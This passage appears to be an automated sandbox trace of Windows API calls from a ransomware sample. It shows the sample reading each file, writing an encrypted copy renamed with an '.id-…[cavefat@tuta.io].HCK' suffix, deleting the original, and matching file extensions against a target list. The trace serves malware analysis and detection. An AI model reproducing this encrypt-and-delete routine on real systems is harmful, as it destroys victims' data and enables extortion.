dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0169.402] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=9736) returned 1 [0169.402] CloseHandle (hObject=0x388) returned 1 [0169.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf")) returned 0x220 [0169.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0169.422] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.422] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.425] GetLastError () returned 0x0 [0169.425] ReadFile (in: hFile=0x398, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2608, lpOverlapped=0x0) returned 1 [0169.427] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2610, lpOverlapped=0x0) returned 1 [0169.428] ReadFile (in: hFile=0x398, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.428] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.428] SetEndOfFile (hFile=0x330) returned 1 [0169.435] CloseHandle (hObject=0x330) returned 1 [0169.436] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.436] SetEndOfFile (hFile=0x398) returned 1 [0169.438] CloseHandle (hObject=0x398) returned 1 [0169.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf")) returned 1 [0169.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0169.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0169.439] lstrlenW (lpString=".doc") returned 4 [0169.439] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.439] lstrlenW (lpString=".docx") returned 5 [0169.440] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0169.440] lstrlenW (lpString=".pdf") returned 4 [0169.440] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.440] lstrlenW (lpString=".xls") returned 4 [0169.440] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.440] lstrlenW (lpString=".xlsx") returned 5 [0169.440] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0169.440] lstrlenW (lpString=".ppt") returned 4 [0169.440] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0169.440] lstrlenW (lpString=".zip") returned 4 [0169.440] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.440] lstrlenW (lpString=".rar") returned 4 [0169.440] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.440] lstrlenW (lpString=".bz2") returned 4 [0169.440] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.440] lstrlenW (lpString=".7z") returned 3 [0169.440] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0169.440] lstrlenW (lpString=".dbf") returned 4 [0169.440] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0169.440] lstrlenW (lpString=".1cd") returned 4 [0169.440] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0169.440] lstrlenW (lpString=".jpg") returned 4 [0169.440] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0169.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0169.440] lstrlenW (lpString=".doc") returned 4 [0169.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.440] lstrlenW (lpString=".docx") returned 5 [0169.440] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0169.440] lstrlenW (lpString=".pdf") returned 4 [0169.440] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.440] lstrlenW (lpString=".xls") returned 4 [0169.440] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.441] lstrlenW (lpString=".xlsx") returned 5 [0169.441] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0169.441] lstrlenW (lpString=".ppt") returned 4 [0169.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0169.441] lstrlenW (lpString=".zip") returned 4 [0169.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.441] lstrlenW (lpString=".rar") returned 4 [0169.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.441] lstrlenW (lpString=".bz2") returned 4 [0169.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.441] lstrlenW (lpString=".7z") returned 3 [0169.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0169.441] lstrlenW (lpString=".dbf") returned 4 [0169.441] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0169.441] lstrlenW (lpString=".1cd") returned 4 [0169.441] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0169.441] lstrlenW (lpString=".jpg") returned 4 [0169.441] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.441] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0169.441] lstrlenW (lpString="J0175428.JPG") returned 12 [0169.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0169.452] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=14552) returned 1 [0169.452] CloseHandle (hObject=0x394) returned 1 [0169.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg")) returned 0x220 [0169.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.468] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.468] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0169.473] GetLastError () returned 0x0 [0169.473] ReadFile (in: hFile=0x330, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x38d8, lpOverlapped=0x0) returned 1 [0169.475] WriteFile (in: hFile=0x398, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x38e0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x38e0, lpOverlapped=0x0) returned 1 [0169.476] ReadFile (in: hFile=0x330, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.476] WriteFile (in: hFile=0x398, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.476] SetEndOfFile (hFile=0x398) returned 1 [0169.478] CloseHandle (hObject=0x398) returned 1 [0169.480] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.481] SetEndOfFile (hFile=0x330) returned 1 [0169.483] CloseHandle (hObject=0x330) returned 1 [0169.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.484] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175428.jpg")) returned 1 [0169.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0169.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0169.485] lstrlenW (lpString=".doc") returned 4 [0169.485] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0169.485] lstrlenW (lpString=".docx") returned 5 [0169.485] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0169.485] lstrlenW (lpString=".pdf") returned 4 [0169.485] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0169.485] lstrlenW (lpString=".xls") returned 4 [0169.485] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0169.485] lstrlenW (lpString=".xlsx") returned 5 [0169.485] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0169.485] lstrlenW (lpString=".ppt") returned 4 [0169.485] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0169.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0169.485] lstrlenW (lpString=".zip") returned 4 [0169.485] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0169.485] lstrlenW (lpString=".rar") returned 4 [0169.485] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0169.485] lstrlenW (lpString=".bz2") returned 4 [0169.485] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0169.485] lstrlenW (lpString=".7z") returned 3 [0169.485] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0169.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0169.485] lstrlenW (lpString=".dbf") returned 4 [0169.485] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0169.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0169.485] lstrlenW (lpString=".1cd") returned 4 [0169.485] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0169.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0169.485] lstrlenW (lpString=".jpg") returned 4 [0169.485] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0169.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0169.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0169.485] lstrlenW (lpString=".doc") returned 4 [0169.485] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0169.485] lstrlenW (lpString=".docx") returned 5 [0169.486] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0169.486] lstrlenW (lpString=".pdf") returned 4 [0169.486] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0169.486] lstrlenW (lpString=".xls") returned 4 [0169.486] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0169.486] lstrlenW (lpString=".xlsx") returned 5 [0169.486] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0169.486] lstrlenW (lpString=".ppt") returned 4 [0169.486] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0169.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0169.486] lstrlenW (lpString=".zip") returned 4 [0169.486] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0169.486] lstrlenW (lpString=".rar") returned 4 [0169.486] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0169.486] lstrlenW (lpString=".bz2") returned 4 [0169.486] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0169.486] lstrlenW (lpString=".7z") returned 3 [0169.486] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0169.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0169.486] lstrlenW (lpString=".dbf") returned 4 [0169.486] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0169.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0169.486] lstrlenW (lpString=".1cd") returned 4 [0169.486] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0169.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175428.JPG") returned 68 [0169.486] lstrlenW (lpString=".jpg") returned 4 [0169.486] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0169.486] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0169.486] lstrlenW (lpString="J0178459.JPG") returned 12 [0169.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0169.495] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=29204) returned 1 [0169.495] CloseHandle (hObject=0x398) returned 1 [0169.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg")) returned 0x220 [0169.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0169.507] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.507] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0169.511] GetLastError () returned 0x0 [0169.511] ReadFile (in: hFile=0x398, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7214, lpOverlapped=0x0) returned 1 [0169.513] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7220, lpOverlapped=0x0) returned 1 [0169.514] ReadFile (in: hFile=0x398, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.514] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.515] SetEndOfFile (hFile=0x388) returned 1 [0169.516] CloseHandle (hObject=0x388) returned 1 [0169.519] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.519] SetEndOfFile (hFile=0x398) returned 1 [0169.521] CloseHandle (hObject=0x398) returned 1 [0169.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.524] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg")) returned 1 [0169.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0169.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0169.527] lstrlenW (lpString=".doc") returned 4 [0169.527] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0169.527] lstrlenW (lpString=".docx") returned 5 [0169.527] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0169.527] lstrlenW (lpString=".pdf") returned 4 [0169.527] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0169.527] lstrlenW (lpString=".xls") returned 4 [0169.527] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0169.527] lstrlenW (lpString=".xlsx") returned 5 [0169.527] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0169.527] lstrlenW (lpString=".ppt") returned 4 [0169.527] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0169.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0169.527] lstrlenW (lpString=".zip") returned 4 [0169.527] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0169.527] lstrlenW (lpString=".rar") returned 4 [0169.527] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0169.527] lstrlenW (lpString=".bz2") returned 4 [0169.527] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0169.527] lstrlenW (lpString=".7z") returned 3 [0169.527] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0169.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0169.527] lstrlenW (lpString=".dbf") returned 4 [0169.527] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0169.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0169.527] lstrlenW (lpString=".1cd") returned 4 [0169.527] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0169.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0169.527] lstrlenW (lpString=".jpg") returned 4 [0169.527] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0169.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0169.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0169.527] lstrlenW (lpString=".doc") returned 4 [0169.527] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0169.528] lstrlenW (lpString=".docx") returned 5 [0169.528] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0169.528] lstrlenW (lpString=".pdf") returned 4 [0169.528] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0169.528] lstrlenW (lpString=".xls") returned 4 [0169.528] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0169.528] lstrlenW (lpString=".xlsx") returned 5 [0169.528] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0169.528] lstrlenW (lpString=".ppt") returned 4 [0169.528] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0169.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0169.528] lstrlenW (lpString=".zip") returned 4 [0169.528] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0169.528] lstrlenW (lpString=".rar") returned 4 [0169.528] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0169.528] lstrlenW (lpString=".bz2") returned 4 [0169.528] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0169.528] lstrlenW (lpString=".7z") returned 3 [0169.528] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0169.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0169.528] lstrlenW (lpString=".dbf") returned 4 [0169.528] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0169.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0169.528] lstrlenW (lpString=".1cd") returned 4 [0169.528] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0169.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG") returned 68 [0169.528] lstrlenW (lpString=".jpg") returned 4 [0169.528] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0169.528] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0169.528] lstrlenW (lpString="J0178639.JPG") returned 12 [0169.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0169.537] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=32038) returned 1 [0169.537] CloseHandle (hObject=0x388) returned 1 [0169.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg")) returned 0x220 [0169.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft 